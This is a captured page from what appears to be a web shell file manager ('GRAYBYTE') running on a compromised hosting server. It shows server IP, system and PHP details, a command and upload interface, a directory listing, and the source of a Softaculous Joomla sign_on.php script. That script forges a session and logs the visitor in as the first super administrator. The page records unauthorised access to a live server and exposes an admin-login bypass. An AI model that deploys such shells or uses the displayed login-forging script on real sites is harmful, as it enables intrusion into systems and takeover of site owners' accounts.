GRAYBYTE WORDPRESS FILE MANAGER8411

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /var/softaculous/joomla310/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /var/softaculous/joomla310//sign_on.php
<?php

@unlink(__FILE__);

// Validate if the request is from Softaculous
if($_REQUEST['pass'] != '[[autopass]]'){
	die("Unauthorized Access");
}

define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__ . DIRECTORY_SEPARATOR . 'administrator' );
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';
require_once JPATH_BASE . '/includes/helper.php';
require_once JPATH_BASE . '/includes/subtoolbar.php';

$app = JFactory::getApplication('administrator');
	
// Check for a cookie if user is not logged in
if(JFactory::getUser()->get('guest')){
	
	$signon_user = '[[signon_username]]';
	
	$options = array('action' => 'core.login.admin');

	$instance = Joomla\CMS\User\User::getInstance();

	$db = JFactory::getDbo();
	
	if(!empty($signon_user) && !preg_match('/^\[\[(.*?)\]\]$/is', $signon_user)){
		$id = (int) Joomla\CMS\User\UserHelper::getUserId($signon_user);
	}else{
		$query = $db->getQuery(true);
		$query->select($db->quoteName('user_id'))
			->from($db->quoteName('#__user_usergroup_map'))
			->where($db->quoteName('group_id') . ' = 8' );
		$db->setQuery($query);
		$users = $db->loadColumn();
		$id = min($users);
	}
	
	if (!$id)
	{
		$app->redirect('administrator/index.php');
		exit();
	}

	$instance->load($id);

	// If the user is blocked, redirect with an error
	if ($instance->block == 1)
	{
		$app->redirect('administrator/index.php');
		exit();
	}

	$result = $instance->authorise($options['action']);

	// Mark the user as logged in
	$instance->guest = 0;

	$session = Joomla\CMS\Factory::getSession();

	// Grab the current session ID
	$oldSessionId = $session->getId();
			
	// Fork the session
	$session->fork();

	$session->set('user', $instance);
			
	// Ensure the new session's metadata is written to the database
	$app->checkSession();

	// Purge the old session
	$query = $db->getQuery(true)
		->delete('#__session')
		->where($db->quoteName('session_id') . ' = ' . $db->quoteBinary($oldSessionId));

	$db->setQuery($query)->execute();

	$instance->setLastVisit();

}

$app->redirect('administrator/index.php');

exit();

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 08:30:22
root / root
0755
images
--
August 07 2024 18:12:59
root / root
0755
languages
--
August 07 2024 18:12:59
root / root
0755
php53
--
August 07 2024 18:12:59
root / root
0755
php56
--
August 07 2024 18:12:59
root / root
0755
php71
--
August 07 2024 18:12:59
root / root
0755
php81
--
August 07 2024 18:12:59
root / root
0755
php82
--
August 07 2024 18:12:59
root / root
0755
check_utf8.php
1.069 KB
December 23 2021 11:54:36
root / root
0644
clone.php
4.57 KB
May 02 2024 11:22:18
root / root
0644
configuration.php
1.952 KB
December 23 2021 11:54:36
root / root
0644
edit.php
5.82 KB
May 02 2024 11:22:18
root / root
0644
edit.xml
0.614 KB
December 23 2021 11:54:36
root / root
0644
extend.php
8.797 KB
May 02 2024 11:22:18
root / root
0644
fileindex.php
0.22 KB
December 23 2021 11:54:36
root / root
0644
import.php
8.658 KB
May 02 2024 11:22:18
root / root
0644
info.xml
3.575 KB
May 02 2024 10:25:50
root / root
0644
install.js
0.933 KB
March 11 2024 10:40:22
root / root
0644
install.php
20.234 KB
May 02 2024 11:22:18
root / root
0644
install.xml
2.96 KB
December 23 2021 11:54:36
root / root
0644
joomla310.sql
208.286 KB
July 12 2023 10:17:56
root / root
0644
joomla310.zip
13.08 MB
July 12 2023 10:17:56
root / root
0644
md5
9.49 KB
May 02 2024 11:22:18
root / root
0644
notes.txt
3.054 KB
July 12 2023 10:17:56
root / root
0644
restore.php
2.23 KB
May 02 2024 11:22:18
root / root
0644
sample_blog.sql
39.214 KB
December 23 2021 11:54:36
root / root
0644
sample_brochure.sql
34.593 KB
March 31 2022 11:13:34
root / root
0644
sample_data.sql
37.058 KB
December 23 2021 11:54:36
root / root
0644
sample_learn.sql
288.701 KB
March 31 2022 11:13:34
root / root
0644
sign_on.php
2.165 KB
December 23 2021 11:54:36
root / root
0644
update_pass.php
0.485 KB
December 23 2021 11:54:36
root / root
0644
upgrade.php
30.833 KB
May 02 2024 11:22:18
root / root
0644
upgrade.xml
0.713 KB
December 23 2021 11:54:36
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF